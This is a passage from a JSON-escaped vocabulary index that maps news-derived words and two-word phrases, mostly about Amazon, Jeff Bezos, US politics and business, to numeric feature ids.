78155,\n  \"political committees\": 78156,\n  \"tom brenner\": 78157,\n  \"economic ruin\": 78158,\n  \"marie fox\": 78159,\n  \"sa fintech\": 78160,\n  \"allison\": 78161,\n  \"aot\": 78162,\n  \"reserve plans\": 78163,\n  \"meeting bezos\": 78164,\n  \"cities felt\": 78165,\n  \"harold feld\": 78166,\n  \"horizon planning\": 78167,\n  \"responsible queenschronicle\": 78168,\n  \"climate change\": 78169,\n  \"ramell ross\": 78170,\n  \"revenue guidance\": 78171,\n  \"party advantage\": 78172,\n  \"lillien\": 78173,\n  \"lnolan\": 78174,\n  \"business bankruptcies\": 78175,\n  \"aris health\": 78176,\n  \"prices increase\": 78177,\n  \"171 050\": 78178,\n  \"great deals\": 78179,\n  \"recode listen\": 78180,\n  \"doubtless\": 78181,\n  \"panting\": 78182,\n  \"description governor\": 78183,\n  \"jack quinn\": 78184,\n  \"greenhouse gas\": 78185,\n  \"zozi009\": 78186,\n  \"2018 couple\": 78187,\n  \"maxim\": 78188,\n  \"planned investigation\": 78189,\n  \"expect strong\": 78190,\n  \"america test\": 78191,\n  \"line earlier\": 78192,\n  \"started key\": 78193,\n  \"left autostart\": 78194,\n  \"update colin\": 78195,\n  \"afghans\": 78196,\n  \"global corporate\": 78197,\n  \"begins monica\": 78198,\n  \"leadership feel\": 78199,\n  \"surly\": 78200,\n  \"despite turning\": 78201,\n  \"growing economic\": 78202,\n  \"services committee\": 78203,\n  \"phenomenally\": 78204,\n  \"henhouse\": 78205,\n  \"used special\": 78206,\n  \"promoting smaller\": 78207,\n  \"trump lose\": 78208,\n  \"keeps turning\": 78209,\n  \"kaster ap\": 78210,\n  \"final gulftimes\": 78211,\n  \"r4ee g6\": 78212,\n  \"huelgaamazon en\": 78213,\n  \"video did\": 78214,\n  \"bigger role\": 78215,\n  \"analysts tell\": 78216,\n  \"scripts esrx\": 78217,\n  \"cleveland state\": 78218,\n  \"water coming\": 78219,\n  \"covering contraception\": 78220,\n  \"deplorablechoir\": 78221,\n  \"jewish people\": 78222,\n  \"calculated using\": 78223,\n  \"nicol\\u00e1s maduro\": 78224,\n  \"chinese leaders\": 78225,\n  \"administration according\": 78226,\n  \"pay fair\": 78227,\n  \"feeling\": 78228,\n  \"russian president\": 78229,\n  \"distillery\": 78230,\n  \"training conference\": 78231,\n  \"beefing\": 78232,\n  \"dramatic development\": 78233,\n  \"advocate konst\": 78234,\n  \"large railroad\": 78235,\n  \"souvenir mount\": 78236,\n  \"hanson calls\": 78237,\n  \"street shot\": 78238,\n  \"launched nuclear\": 78239,\n  \"current fox\": 78240,\n  \"noticed tweets\": 78241,\n  \"trump view\": 78242,\n  \"halloween party\": 78243,\n  \"debt\": 78244,\n  \"tells supporters\": 78245,\n  \"pivoting\": 78246,\n  \"riding change\": 78247,\n  \"parent alphabet\": 78248,\n  \"competitive share\": 78249,\n  \"possible criminal\": 78250,\n  \"government loan\": 78251,\n  \"scare california\": 78252,\n  \"close critical\": 78253,\n  \"know country\": 78254,\n  \"labor black\": 78255,\n  \"mps theresa\": 78256,\n  \"zen\": 78257,\n  \"fluke\": 78258,\n  \"philadelphia amazon\": 78259,\n  \"knows google\": 78260,\n  \"dept officials\": 78261,\n  \"poised\": 78262,\n  \"newt gingrich\": 78263,\n  \"wing netroots\": 78264,\n  \"work continues\": 78265,\n  \"blvd road\": 78266,\n  \"thepresident stands\": 78267,\n  \"amazon promise\": 78268,\n  \"legal challenges\": 78269,\n  \"saying wow\": 78270,\n  \"goldberg stating\": 78271,\n  \"star crossed\": 78272,\n  \"mexico canada\": 78273,\n  \"service balance\": 78274,\n  \"new tariffs\": 78275,\n  \"communications strategy\": 78276,\n  \"soccer\": 78277,\n  \"whatsapp twitter\": 78278,\n  \"return visit\": 78279,\n  \"anders celsius\": 78280,\n  \"wynn18\": 78281,\n  \"addressed sent\": 78282,\n  \"scandals pushed\": 78283,\n  \"wrest\": 78284,\n  \"hall mandymh82\": 78285,\n  \"greatawakening\": 78286,\n  \"media targets\": 78287,\n  \"company ability\": 78288,\n  \"old style\": 78289,\n  \"oncontententryload function\": 78290,\n  \"residential area\": 78291,\n  \"industry expect\": 78292,\n  \"cheadle\": 78293,\n  \"washington employers\": 78294,\n  \"companies connection\": 78295,\n  \"high tax\": 78296,\n  \"lambasted google\": 78297,\n  \"workers hopefully\": 78298,\n  \"recent tweets\": 78299,\n  \"new opponent\": 78300,\n  \"area talent\": 78301,\n  \"prevent\": 78302,\n  \"sent 790\": 78303,\n  \"provide artificial\": 78304,\n  \"latest data\": 78305,\n  \"unelected people\": 78306,\n  \"bezos including\": 78307,\n  \"abusers\": 78308,\n  \"kellytyko\": 78309,\n  \"advertising accounted\": 78310,\n  \"trump child\": 78311,\n  \"prices marketforce\": 78312,\n  \"threats related\": 78313,\n  \"target online\": 78314,\n  \"pimps\": 78315,\n  \"richest americans\": 78316,\n  \"hit inspired\": 78317,\n  \"aware driver\": 78318,\n  \"added pressure\": 78319,\n  \"dn\": 78320,\n  \"center ambassadors\": 78321,\n  \"barely pays\": 78322,\n  \"basically shell\": 78323,\n  \"words guest\": 78324,\n  \"today talker\": 78325,\n  \"outside marketing\": 78326,\n  \"momsdemand pic\": 78327,\n  \"kump\": 78328,\n  \"captainroyd\": 78329,\n  \"phone accessory\": 78330,\n  \"attracting data\": 78331,\n  \"reported mean\": 78332,\n  \"approach regulators\": 78333,\n  \"season fedex\": 78334,\n  \"commentators lined\": 78335,\n  \"aid carter\": 78336,\n  \"including clearly\": 78337,\n  \"dc mansion\": 78338,\n  \"alicia shepard\": 78339,\n  \"hefty\": 78340,\n  \"leader\": 78341,\n  \"political opposition\": 78342,\n  \"feed costs\": 78343,\n  \"conditions photo\": 78344,\n  \"fairer\": 78345,\n  \"company earliest\": 78346,\n  \"directly comment\": 78347,\n  \"tax information\": 78348,\n  \"banning cashless\": 78349,\n  \"causing shipping\": 78350,\n  \"heads close\": 78351,\n  \"drugs bad\": 78352,\n  \"large offline\": 78353,\n  \"lcd panels\": 78354,\n  \"contender bernie\": 78355,\n  \"argued essentially\": 78356,\n  \"toronto tourism\": 78357,\n  \"stakes competition\": 78358,\n  \"work entirely\": 78359,\n  \"2018 reuters\": 78360,\n  \"eradicating\": 78361,\n  \"proposed increasing\": 78362,\n  \"editorial articles\": 78363,\n  \"key constituencies\": 78364,\n  \"dimon participated\": 78365,\n  \"remanded decision\": 78366,\n  \"450\": 78367,\n  \"owns reported\": 78368,\n  \"sobering reminder\": 78369,\n  \"lsu\": 78370,\n  \"welles\": 78371,\n  \"upends\": 78372,\n  \"brand counterfeiting\": 78373,\n  \"benefit managers\": 78374,\n  \"impact innovate\": 78375,\n  \"favorite days\": 78376,\n  \"mukesh\": 78377,\n  \"valley powerhouses\": 78378,\n  \"authors better\": 78379,\n  \"fund affordable\": 78380,\n  \"rossomando\": 78381,\n  \"man booker\": 78382,\n  \"ads external\": 78383,\n  \"alibaba battling\": 78384,\n  \"government future\": 78385,\n  \"gold mining\": 78386,\n  \"proposed expansion\": 78387,\n  \"snorting\": 78388,\n  \"commit violence\": 78389,\n  \"spirals\": 78390,\n  \"src\": 78391,\n  \"quietly amassed\": 78392,\n  \"arabia produce\": 78393,\n  \"whitaker\": 78394,\n  \"products mike\": 78395,\n  \"angles\": 78396,\n  \"declared foreign\": 78397,\n  \"denied rubenstein\": 78398,\n  \"adler michael\": 78399,\n  \"nfl home\": 78400,\n  \"subsidies eked\": 78401,\n  \"using computer\": 78402,\n  \"native american\": 78403,\n  \"new host\": 78404,\n  \"federation spring\": 78405,\n  \"foreign corrupt\": 78406,\n  \"initially right\": 78407,\n  \"modern politics\": 78408,\n  \"inc228693 video\": 78409,\n  \"cosecha shut\": 78410,\n  \"toro\": 78411,\n  \"economic advisor\": 78412,\n  \"hoped\": 78413,\n  \"face year\": 78414,\n  \"late consistently\": 78415,\n  \"bolted\": 78416,\n  \"bezos key\": 78417,\n  \"verbal assaults\": 78418,\n  \"headquarters interestingly\": 78419,\n  \"wardrobe\": 78420,\n  \"23am elie\": 78421,\n  \"totaled 250\": 78422,\n  \"negatively impacting\": 78423,\n  \"action congress\": 78424,\n  \"status 1084627451983073280\": 78425,\n  \"dent cristina\": 78426,\n  \"exempted items\": 78427,\n  \"seltzer\": 78428,\n  \"quarter earnings\": 78429,\n  \"companies worldwide\": 78430,\n  \"navarro director\": 78431,\n  \"cameroon school\": 78432,\n  \"vulnerable seniors\": 78433,\n  \"whack right\": 78434,\n  \"hour window\": 78435,\n  \"featuring hointer\": 78436,\n  \"case decided\": 78437,\n  \"billion discussed\": 78438,\n  \"amazon wish\": 78439,\n  \"actually right\": 78440,\n  \"senator richard\": 78441,\n  \"nonprofits lobbying\": 78442,\n  \"display stronger\": 78443,\n  \"import virtually\": 78444,\n  \"seller description\": 78445,\n  \"briefly topped\": 78446,\n  \"dwyer noted\": 78447,\n  \"fedex business\": 78448,\n  \"shielded ami\": 78449,\n  \"character development\": 78450,\n  \"hmm\": 78451,\n  \"a4ee x0\": 78452,\n  \"crosses trillion\": 78453,\n  \"tiny crosby\": 78454,\n  \"nahmias nahmias\": 78455,\n  \"negotiations winter\": 78456,\n  \"time european\": 78457,\n  \"guilt ftc\": 78458,\n  \"trump unleashed\": 78459,\n  \"avoid obstacles\": 78460,\n  \"hayley\": 78461,\n  \"revenue lift\": 78462,\n  \"online rivals\": 78463,\n  \"data submitted\": 78464,\n  \"reuters deal\": 78465,\n  \"urged multiple\": 78466,\n  \"interesting possibilities\": 78467,\n  \"techs\": 78468,\n  \"anchor lauren\": 78469,\n  \"magana\": 78470,\n  \"rights attorney\": 78471,\n  \"time consulting\": 78472,\n  \"don remember\": 78473,\n  \"portal screenshot\": 78474,\n  \"sanders deftly\": 78475,\n  \"pentagon tech\": 78476,\n  \"group led\": 78477,\n  \"nyclu attorney\": 78478,\n  \"devote resources\": 78479,\n  \"gov easily\": 78480,\n  \"metapack total\": 78481,\n  \"natural allies\": 78482,\n  \"leveraging digital\": 78483,\n  \"earned billion\": 78484,\n  \"creepy laugh\": 78485,\n  \"using hundreds\": 78486,\n  \"positions number\": 78487,\n  \"board consider\": 78488,\n  \"hold hearing\": 78489,\n  \"nora\": 78490,\n  \"atmosphere\": 78491,\n  \"acting white\": 78492,\n  \"venezuelan maestro\": 78493,\n  \"forbes focuses\": 78494,\n  \"hal\": 78495,\n  \"giant efforts\": 78496,\n  \"aws firecracker\": 78497,\n  \"center associate\": 78498,\n  \"called inaccurate\": 78499,\n  \"doesn meet\": 78500,\n  \"criminal suspicion\": 78501,\n  \"stateand\": 78502,\n  \"266\": 78503,\n  \"new collective\": 78504,\n  \"lead khanna\": 78505,\n  \"burden gm\": 78506,\n  \"rapid increase\": 78507,\n  \"amazon plans\": 78508,\n  \"chronological order\": 78509,\n  \"richmond\": 78510,\n  \"tweeted president\": 78511,\n  \"margaret\": 78512,\n  \"billionaires acquiring\": 78513,\n  \"left lane\": 78514,\n  \"market helped\": 78515,\n  \"reading debt\": 78516,\n  \"federal contributions\": 78517,\n  \"transequality\": 78518,\n  \"significant decline\": 78519,\n  \"attention say\": 78520,\n  \"dubai\": 78521,\n  \"wantto make\": 78522,\n  \"courthouse news\": 78523,\n  \"competitors grew\": 78524,\n  \"famously active\": 78525,\n  \"war teen\": 78526,\n  \"company ongoing\": 78527,\n  \"declared bezos\": 78528,\n  \"bondi speaks\": 78529,\n  \"amazon meaning\": 78530,\n  \"amazon attitude\": 78531,\n  \"date hasn\": 78532,\n  \"significant strength\": 78533,\n  \"shannon pettypiece\": 78534,\n  \"hit president\": 78535,\n  \"urging democrats\": 78536,\n  \"excessive rep\": 78537,\n  \"time sanders\": 78538,\n  \"yglesias paul\": 78539,\n  \"pretty amazing\": 78540,\n  \"providing return\": 78541,\n  \"activators\": 78542,\n  \"labor capitalism\": 78543,\n  \"publishes damaging\": 78544,\n  \"pecker contacted\": 78545,\n  \"final scene\": 78546,\n  \"technology specifically\": 78547,\n  \"paul stevens\": 78548,\n  \"food delivered\": 78549,\n  \"nonstop\": 78550,\n  \"powers questions\": 78551,\n  \"provost\": 78552,\n  \"agency head\": 78553,\n  \"warren recalled\": 78554,\n  \"mosaic\": 78555,\n  \"medicine food\": 78556,\n  \"spicer foto\": 78557,\n  \"margaret wedding\": 78558,\n  \"shares fdx\": 78559,\n  \"mitigation strategies\": 78560,\n  \"fine proposed\": 78561,\n  \"digit sales\": 78562,\n  \"mccain dummy\": 78563,\n  \"hype\": 78564,\n  \"offseason story\": 78565,\n  \"cisco revenue\": 78566,\n  \"rep amazon\": 78567,\n  \"jason\": 78568,\n  \"makes heavy\": 78569,\n  \"jon reed\": 78570,\n  \"releases tapes\": 78571,\n  \"think necessarily\": 78572,\n  \"entire online\": 78573,\n  \"null cnl_global_nav_background_color\": 78574,\n  \"automates\": 78575,\n  \"purported letter\": 78576,\n  \"having months\": 78577,\n  \"visa general\": 78578,\n  \"incentives demanded\": 78579,\n  \"applied intense\": 78580,\n  \"global slow\": 78581,\n  \"blame video\": 78582,\n  \"communities speak\": 78583,\n  \"wild claim\": 78584,\n  \"cultural heroes\": 78585,\n  \"ignore\": 78586,\n  \"company prioritise\": 78587,\n  \"practical\": 78588,\n  \"hearing trump\": 78589,\n  \"shalala\": 78590,\n  \"china suddenly\": 78591,\n  \"especially president\": 78592,\n  \"detailing bezos\": 78593,\n  \"g3xrcr9ixk\": 78594,\n  \"extraordinary details\": 78595,\n  \"revelations detailing\": 78596,\n  \"attending school\": 78597,\n  \"american cuisine\": 78598,\n  \"long listed\": 78599,\n  \"order picking\": 78600,\n  \"joint council\": 78601,\n  \"billion rm816\": 78602,\n  \"lot anybody\": 78603,\n  \"improving access\": 78604,\n  \"write civilly\": 78605,\n  \"exceed trillion\": 78606,\n  \"executives showed\": 78607,\n  \"man barges\": 78608,\n  \"89m reports\": 78609,\n  \"prepared remarks\": 78610,\n  \"carrier library\": 78611,\n  \"played host\": 78612,\n  \"round 100\": 78613,\n  \"final hour\": 78614,\n  \"condemned\": 78615,\n  \"internet advertising\": 78616,\n  \"underlying narrative\": 78617,\n  \"street falls\": 78618,\n  \"opponent did\": 78619,\n  \"concerns following\": 78620,\n  \"greenhouse gases\": 78621,\n  \"sneak children\": 78622,\n  \"confirms william\": 78623,\n  \"engineering insofar\": 78624,\n  \"office receives\": 78625,\n  \"bezos bombshell\": 78626,\n  \"thoughtful commentary\": 78627,\n  \"hq2 office\": 78628,\n  \"conclusion president\": 78629,\n  \"help americans\": 78630,\n  \"booster making\": 78631,\n  \"life coach\": 78632,\n  \"news sent\": 78633,\n  \"told sanders\": 78634,\n  \"anchor kelly\": 78635,\n  \"sell harvested\": 78636,\n  \"note just\": 78637,\n  \"hectic\": 78638,\n  \"hosting documentary\": 78639,\n  \"rosenthal\": 78640,\n  \"dossier confirmed\": 78641,\n  \"worker contributions\": 78642,\n  \"preparation kitchens\": 78643,\n  \"christmas tax\": 78644,\n  \"digital commerce\": 78645,\n  \"rivkin\": 78646,\n  \"misleading statements\": 78647,\n  \"higher long\": 78648,\n  \"cassell mypov\": 78649,\n  \"milestone achieving\": 78650,\n  \"phone records\": 78651,\n  \"calls jeff\": 78652,\n  \"ken mentioned\": 78653,\n  \"obama detainment\": 78654,\n  \"stamp recipient\": 78655,\n  \"photographer journalist\": 78656,\n  \"awards common\": 78657,\n  \"problem makes\": 78658,\n  \"increased package\": 78659,\n  \"sme\": 78660,\n  \"technical\": 78661,\n  \"industry reps\": 78662,\n  \"different\": 78663,\n  \"trial promised\": 78664,\n  \"lost amazon\": 78665,\n  \"better path\": 78666,\n  \"model called\": 78667,\n  \"life amazon\": 78668,\n  \"conspiracy extending\": 78669,\n  \"whipsaw stock\": 78670,\n  \"benchmark read\": 78671,\n  \"policing practices\": 78672,\n  \"targeting bezos\": 78673,\n  \"acquisition completes\": 78674,\n  \"hero amazon\": 78675,\n  \"raising wages\": 78676,\n  \"figures need\": 78677,\n  \"candidates making\": 78678,\n  \"small development\": 78679,\n  \"ice water\": 78680,\n  \"received refund\": 78681,\n  \"direct copy\": 78682,\n  \"betterhousing\": 78683,\n  \"pratt industries\": 78684,\n  \"report correspondent\": 78685,\n  \"celebrity news\": 78686,\n  \"annual national\": 78687,\n  \"florida republican\": 78688,\n  \"activists including\": 78689,\n  \"analysts say\": 78690,\n  \"mart bezos\": 78691,\n  \"brian mcnicoll\": 78692,\n  \"improbable\": 78693,\n  \"daisy daisy\": 78694,\n  \"seeking respect\": 78695,\n  \"lurid\": 78696,\n  \"screws consumers\": 78697,\n  \"assisting trump\": 78698,\n  \"actions taken\": 78699,\n  \"true tale\": 78700,\n  \"worsening\": 78701,\n  \"hosting nbc\": 78702,\n  \"republican nomination\": 78703,\n  \"prime cape\": 78704,\n  \"people fighting\": 78705,\n  \"gigantic giveaway\": 78706,\n  \"impose tariffs\": 78707,\n  \"uber tony\": 78708,\n  \"subscriber numbers\": 78709,\n  \"conduct national\": 78710,\n  \"trepidation\": 78711,\n  \"founder good\": 78712,\n  \"retail books\": 78713,\n  \"fringe\": 78714,\n  \"equity benchmarks\": 78715,\n  \"association dieter\": 78716,\n  \"possible earlier\": 78717,\n  \"lena soon\": 78718,\n  \"monopolies 2019\": 78719,\n  \"million white\": 78720,\n  \"gallery new\": 78721,\n  \"freedom\": 78722,\n  \"lcd screens\": 78723,\n  \"allow political\": 78724,\n  \"complaints personally\": 78725,\n  \"johnson cloak\": 78726,\n  \"contain addresses\": 78727,\n  \"dovish\": 78728,\n  \"actually negatively\": 78729,\n  \"avenue\": 78730,\n  \"hawaii\": 78731,\n  \"thehill amazon\": 78732,\n  \"acne sun\": 78733,\n  \"underwood adequately\": 78734,\n  \"utilize ship\": 78735,\n  \"turkstra hamilton\": 78736,\n  \"unions seeking\": 78737,\n  \"search locales\": 78738,\n  \"twitter acct\": 78739,\n  \"153\": 78740,\n  \"story victorias\": 78741,\n  \"solid quarter\": 78742,\n  \"2018 kevin\": 78743,\n  \"free society\": 78744,\n  \"j8 json\": 78745,\n  \"perishable\": 78746,\n  \"prenup 2017\": 78747,\n  \"radio marconi\": 78748,\n  \"rubs\": 78749,\n  \"teens want\": 78750,\n  \"kids learn\": 78751,\n  \"robert lighthizer\": 78752,\n  \"bank institute\": 78753,\n  \"griffeth welcome\": 78754,\n  \"setback soon\": 78755,\n  \"later chau\": 78756,\n  \"just taking\": 78757,\n  \"highest proportion\": 78758,\n  \"claims drop\": 78759,\n  \"celebrity justin\": 78760,\n  \"narratives modern\": 78761,\n  \"hired kate\": 78762,\n  \"575 700\": 78763,\n  \"moon did\": 78764,\n  \"stretchable\": 78765,\n  \"read shop\": 78766,\n  \"informed share\": 78767,\n  \"shock divorce\": 78768,\n  \"advice doesnt\": 78769,\n  \"trump putting\": 78770,\n  \"dozed\": 78771,\n  \"baseball games\": 78772,\n  \"suffering better\": 78773,\n  \"witnessed\": 78774,\n  \"website linkedin\": 78775,\n  \"canada posted\": 78776,\n  \"investment decisions\": 78777,\n  \"shipping giants\": 78778,\n  \"biggest villain\": 78779,\n  \"field bit\": 78780,\n  \"kill based\": 78781,\n  \"trouble began\": 78782,\n  \"strengthen\": 78783,\n  \"pursue strategic\": 78784,\n  \"els\": 78785,\n  \"package policies\": 78786,\n  \"activites designed\": 78787,\n  \"approaches amazon\": 78788,\n  \"site selections\": 78789,\n  \"qanon pages\": 78790,\n  \"racked reports\": 78791,\n  \"180 signatories\": 78792,\n  \"298\": 78793,\n  \"pressured brennan\": 78794,\n  \"rural american\": 78795,\n  \"agent patrick\": 78796,\n  \"sanders elizabeth\": 78797,\n  \"economy lael\": 78798,\n  \"skin\": 78799,\n  \"sectionection\": 78800,\n  \"missouri midterms\": 78801,\n  \"microgravity research\": 78802,\n  \"connor amy\": 78803,\n  \"confronting\": 78804,\n  \"israel continues\": 78805,\n  \"parilla\": 78806,\n  \"political victim\": 78807,\n  \"stories completely\": 78808,\n  \"hanky panky\": 78809,\n  \"competed\": 78810,\n  \"erroneously\": 78811,\n  \"bezos planted\": 78812,\n  \"showsocialsharebar false\": 78813,\n  \"lawsuit asks\": 78814,\n  \"paying thousands\": 78815,\n  \"phenomenon click\": 78816,\n  \"doesn talk\": 78817,\n  \"3pl company\": 78818,\n  \"news won\": 78819,\n  \"disingenuous\": 78820,\n  \"null inc_feature_image_override\": 78821,\n  \"queried\": 78822,\n  \"anticipating amazon\": 78823,\n  \"percolating\": 78824,\n  \"post college\": 78825,\n  \"faces covered\": 78826,\n  \"slow global\": 78827,\n  \"tucked away\": 78828,\n  \"tim mckay\": 78829,\n  \"markets analyst\": 78830,\n  \"rose 171\": 78831,\n  \"mustreadarticles\": 78832,\n  \"cvx\": 78833,\n  \"founder mark\": 78834,\n  \"fla tweets\": 78835,\n  \"way home\": 78836,\n  \"trump lastly\": 78837,\n  \"founded amazon\": 78838,\n  \"violate clearly\": 78839,\n  \"meet jedi\": 78840,\n  \"using reusable\": 78841,\n  \"ellie kemper\": 78842,\n  \"tuna\": 78843,\n  \"alem\\u00e1n trevor\": 78844,\n  \"socialist wave\": 78845,\n  \"dislocated\": 78846,\n  \"punish\": 78847,\n  \"rarely raided\": 78848,\n  \"stephen gandel\": 78849,\n  \"spacetime\": 78850,\n  \"harnessing information\": 78851,\n  \"regulators including\": 78852,\n  \"amazon strike\": 78853,\n  \"cribs bassinets\": 78854,\n  \"carries\": 78855,\n  \"spokesperson added\": 78856,\n  \"won judicial\": 78857,\n  \"mirrors plan\": 78858,\n  \"wicking antimicrobial\": 78859,\n  \"amazon needed\": 78860,\n  \"secretive cia\": 78861,\n  \"415 members\": 78862,\n  \"cashierless convenience\": 78863,\n  \"patterns regarding\": 78864,\n  \"jack ma\": 78865,\n  \"wearing satan\": 78866,\n  \"nimbler revenue\": 78867,\n  \"join new\": 78868,\n  \"french cemetery\": 78869,\n  \"embedlinkhandler videopinner\": 78870,\n  \"creators version\": 78871,\n  \"politically relevant\": 78872,\n  \"virginia investors\": 78873,\n  \"amazon source\": 78874,\n  \"wildfire help\": 78875,\n  \"notes adolf\": 78876,\n  \"supply chains\": 78877,\n  \"1_5\": 78878,\n  \"michael block\": 78879,\n  \"pitfalls toronto\": 78880,\n  \"cheese touch\": 78881,\n  \"away far\": 78882,\n  \"england failed\": 78883,\n  \"billionaire just\": 78884,\n  \"kitchen trucks\": 78885,\n  \"345 acres\": 78886,\n  \"educate elected\": 78887,\n  \"products soon\": 78888,\n  \"talton\": 78889,\n  \"occurring speaking\": 78890,\n  \"heather kelly\": 78891,\n  \"underwriting\": 78892,\n  \"occurred guarantee\": 78893,\n  \"priorities ways\": 78894,\n  \"making higher\": 78895,\n  \"ap gov\": 78896,\n  \"contracts weren\": 78897,\n  \"reported saying\": 78898,\n  \"dade\": 78899,\n  \"exactly mean\": 78900,\n  \"vaxxers\": 78901,\n  \"drops plans\": 78902,\n  \"matter bloomberg\": 78903,\n  \"track detain\": 78904,\n  \"leftist globalist\": 78905,\n  \"fbzlgr\": 78906,\n  \"threat ryan\": 78907,\n  \"took oath\": 78908,\n  \"video url\": 78909,\n  \"mccain brain\": 78910,\n  \"natural food\": 78911,\n  \"scribner amazon\": 78912,\n  \"bodies slow\": 78913,\n  \"dissent\": 78914,\n  \"dismissing\": 78915,\n  \"best psychological\": 78916,\n  \"subsidiaries designed\": 78917,\n  \"mussels harvey\": 78918,\n  \"taulli\": 78919,\n  \"dept amazon\": 78920,\n  \"abducts children\": 78921,\n  \"abramovich check\": 78922,\n  \"promoting hateful\": 78923,\n  \"amzn deep\": 78924,\n  \"profile drivers\": 78925,\n  \"usa donald\": 78926,\n  \"essential step\": 78927,\n  \"late day\": 78928,\n  \"sommer present\": 78929,\n  \"button used\": 78930,\n  \"successfully pressured\": 78931,\n  \"triggered larger\": 78932,\n  \"daisy johnson\": 78933,\n  \"declaratory judgment\": 78934,\n  \"border mijente\": 78935,\n  \"monoculture\": 78936,\n  \"topical sketch\": 78937,\n  \"venezuela\": 78938,\n  \"wads\": 78939,\n  \"inpoland\": 78940,\n  \"isn clear\": 78941,\n  \"connecting armed\": 78942,\n  \"diverse international\": 78943,\n  \"good shot\": 78944,\n  \"original classes\": 78945,\n  \"block republicans\": 78946,\n  \"amazon discussions\": 78947,\n  \"2017 thanks\": 78948,\n  \"usual business\": 78949,\n  \"grand prize\": 78950,\n  \"states agree\": 78951,\n  \"doggo\": 78952,\n  \"calls european\": 78953,\n  \"philip michael\": 78954,\n  \"caymans\": 78955,\n  \"harassment assault\": 78956,\n  \"mass transit\": 78957,\n  \"officials particularly\": 78958,\n  \"bergh spent\": 78959,\n  \"judge kavanaugh\": 78960,\n  \"hollywood acting\": 78961,\n  \"expense trends\": 78962,\n  \"predilections\": 78963,\n  \"crony corrupt\": 78964,\n  \"waarom grote\": 78965,\n  \"lower profits\": 78966,\n  \"mitigation\": 78967,\n  \"need maternity\": 78968,\n  \"pecker pamphlet\": 78969,\n  \"sood partner\": 78970,\n  \"satellite runs\": 78971,\n  \"chinese counterpart\": 78972,\n  \"fine economically\": 78973,\n  \"ideally offline\": 78974,\n  \"beach north\": 78975,\n  \"investors shoot\": 78976,\n  \"google grow\": 78977,\n  \"news emblazoned\": 78978,\n  \"total business\": 78979,\n  \"conner\": 78980,\n  \"implied\": 78981,\n  \"north think\": 78982,\n  \"fusion centers\": 78983,\n  \"535\": 78984,\n  \"promised billion\": 78985,\n  \"individual state\": 78986,\n  \"eprivacy\": 78987,\n  \"tweeted big\": 78988,\n  \"addressing energy\": 78989,\n  \"cnn videopinner\": 78990,\n  \"esque\": 78991,\n  \"noble climate\": 78992,\n  \"current valuation\": 78993,\n  \"bb fb\": 78994,\n  \"minhaj\": 78995,\n  \"kong reuters\": 78996,\n  \"pumping donald\": 78997,\n  \"amazon_policy\": 78998,\n  \"crisis fentanyl\": 78999,\n  \"jasco products\": 79000,\n  \"acquiring publications\": 79001,\n  \"ice simply\": 79002,\n  \"rakuten\": 79003,\n  \"fraud winner\": 79004,\n  \"news headline\": 79005,\n  \"imbroglios\": 79006,\n  \"price 802\": 79007,\n  \"loudspeakers\": 79008,\n  \"avoid looking\": 79009,\n  \"tanza\": 79010,\n  \"founder hails\": 79011,\n  \"weather forecast\": 79012,\n  \"competitive election\": 79013,\n  \"stretch\": 79014,\n  \"brake\": 79015,\n  \"chief isn\": 79016,\n  \"bads\": 79017,\n  \"rescind based\": 79018,\n  \"increase brand\": 79019,\n  \"calculation methodology\": 79020,\n  \"shaban google\": 79021,\n  \"occupy potent\": 79022,\n  \"investor apprehension\": 79023,\n  \"cash jeff\": 79024,\n  \"worth surpassing\": 79025,\n  \"words people\": 79026,\n  \"281 000\": 79027,\n  \"release tweets\": 79028,\n  \"losing team\": 79029,\n  \"del sur\": 79030,\n  \"ban claiming\": 79031,\n  \"evening broadcast\": 79032,\n  \"flourishing\": 79033,\n  \"just reopened\": 79034,\n  \"ads shill\": 79035,\n  \"states merging\": 79036,\n  \"mentions\": 79037,\n  \"shipment infrastructure\": 79038,\n  \"date specifications\": 79039,\n  \"_0x r4ee\": 79040,\n  \"adherent slogan\": 79041,\n  \"gartner aws\": 79042,\n  \"water filter\": 79043,\n  \"surprising events\": 79044,\n  \"winning magazine\": 79045,\n  \"traditional brick\": 79046,\n  \"wanted hq2\": 79047,\n  \"policy debates\": 79048,\n  \"ford alleges\": 79049,\n  \"body tasked\": 79050,\n  \"allows glimpse\": 79051,\n  \"hazelwood elementary\": 79052,\n  \"looked vanilla\": 79053,\n  \"conduct mass\": 79054,\n  \"trump graciously\": 79055,\n  \"nuances\": 79056,\n  \"tdsc\": 79057,\n  \"nasdaq mtch\": 79058,\n  \"lost massive\": 79059,\n  \"presidenttweeted\": 79060,\n  \"idealogical\": 79061,\n  \"headlineplaintext lamborghini\": 79062,\n  \"wish owned\": 79063,\n  \"kevin systrom\": 79064,\n  \"named book\": 79065,\n  \"jane beasley\": 79066,\n  \"yale law\": 79067,\n  \"largest oil\": 79068,\n  \"corporation set\": 79069,\n  \"require businesses\": 79070,\n  \"wave ended\": 79071,\n  \"russian sleeper\": 79072,\n  \"renewals terms\": 79073,\n  \"coulter brand\": 79074,\n  \"proprietor\": 79075,\n  \"foxconn factory\": 79076,\n  \"saykara ceo\": 79077,\n  \"powerful person\": 79078,\n  \"america men\": 79079,\n  \"europe think\": 79080,\n  \"yahoo finance\": 79081,\n  \"northern va\": 79082,\n  \"eps loss\": 79083,\n  \"alleged thefts\": 79084,\n  \"oescam\": 79085,\n  \"trucks gain\": 79086,\n  \"level internet\": 79087,\n  \"tremendous challenges\": 79088,\n  \"bannon donald\": 79089,\n  \"gender pay\": 79090,\n  \"television property\": 79091,\n  \"okonomiyaki\": 79092,\n  \"enquirer known\": 79093,\n  \"trump previewed\": 79094,\n  \"news led\": 79095,\n  \"economically efficient\": 79096,\n  \"inc_canonical_url null\": 79097,\n  \"jersey ahead\": 79098,\n  \"way uber\": 79099,\n  \"rose 107\": 79100,\n  \"electorate democracy\": 79101,\n  \"blue pills\": 79102,\n  \"surprise cult\": 79103,\n  \"yo dear\": 79104,\n  \"threatening companies\": 79105,\n  \"possibly indicative\": 79106,\n  \"additional billion\": 79107,\n  \"private data\": 79108,\n  \"swisher\": 79109,\n  \"faze cibc\": 79110,\n  \"undercuts trump\": 79111,\n  \"conversations say\": 79112,\n  \"daycare\": 79113,\n  \"headlinepretext headlinetext\": 79114,\n  \"servings\": 79115,\n  \"initially claimed\": 79116,\n  \"bye bye\": 79117,\n  \"reasons split\": 79118,\n  \"world domination\": 79119,\n  \"monopolists\": 79120,\n  \"lists multiple\": 79121,\n  \"large cap\": 79122,\n  \"new funding\": 79123,\n  \"peter kearns\": 79124,\n  \"haven\": 79125,\n  \"impresario likeness\": 79126,\n  \"aws 